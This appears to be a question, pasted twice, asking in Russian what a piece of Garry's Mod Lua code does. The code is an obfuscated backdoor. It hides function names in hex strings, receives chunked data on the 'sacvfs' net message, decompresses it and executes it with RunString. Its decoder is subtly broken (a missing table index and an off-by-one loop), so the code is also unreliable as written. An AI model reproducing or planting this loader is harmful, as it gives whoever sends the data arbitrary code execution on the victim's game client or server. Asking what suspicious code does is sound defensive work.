- 66
- 2
- 4
local _G = _G
local net = net
local table = table
local string = string
local util = util
local tonumber = tonumber
local separator = string.char(0x3F) -- '?'
local chunks = {}
local chunkCount = 0
local function decodeHex(hexStr)
local parts = string.Explode(separator, hexStr)
local result = ""
for i = 1, #parts - 1 do
result = result .. string.char(tonumber(parts, 16))
end
return result
end
local RECEIVE = decodeHex("52?65?63?65?69?76?65") -- "Receive"
local READ_BOOL = decodeHex("52?65?61?64?42?6F?6F?6C") -- "ReadBool"
local READ_UINT = decodeHex("52?65?61?64?55?49?6E?74") -- "ReadUInt"
local READ_DATA = decodeHex("52?65?61?64?44?61?74?61") -- "ReadData"
local RUN_STRING = decodeHex("52?75?6E?53?74?72?69?6E?67") -- "RunString"
local DECOMPRESS = decodeHex("44?65?63?6F?6D?70?72?65?73?73") -- "Decompress"
net[RECEIVE]("sacvfs", function()
local isFinal = net[READ_BOOL]()
local dataSize = net[READ_UINT](20)
local chunk = net[READ_DATA](dataSize)
chunkCount = chunkCount + 1
chunks[chunkCount] = chunk
if isFinal then
local compressed = table.concat(chunks, "")
local decompressed = util[DECOMPRESS](compressed)
_G[RUN_STRING](decompressed)
chunks = {}
chunkCount = 0
end
end)
Что этот код делает ?
local net = net
local table = table
local string = string
local util = util
local tonumber = tonumber
local separator = string.char(0x3F) -- '?'
local chunks = {}
local chunkCount = 0
local function decodeHex(hexStr)
local parts = string.Explode(separator, hexStr)
local result = ""
for i = 1, #parts - 1 do
result = result .. string.char(tonumber(parts, 16))
end
return result
end
local RECEIVE = decodeHex("52?65?63?65?69?76?65") -- "Receive"
local READ_BOOL = decodeHex("52?65?61?64?42?6F?6F?6C") -- "ReadBool"
local READ_UINT = decodeHex("52?65?61?64?55?49?6E?74") -- "ReadUInt"
local READ_DATA = decodeHex("52?65?61?64?44?61?74?61") -- "ReadData"
local RUN_STRING = decodeHex("52?75?6E?53?74?72?69?6E?67") -- "RunString"
local DECOMPRESS = decodeHex("44?65?63?6F?6D?70?72?65?73?73") -- "Decompress"
net[RECEIVE]("sacvfs", function()
local isFinal = net[READ_BOOL]()
local dataSize = net[READ_UINT](20)
local chunk = net[READ_DATA](dataSize)
chunkCount = chunkCount + 1
chunks[chunkCount] = chunk
if isFinal then
local compressed = table.concat(chunks, "")
local decompressed = util[DECOMPRESS](compressed)
_G[RUN_STRING](decompressed)
chunks = {}
chunkCount = 0
end
end)
Что этот код делает ?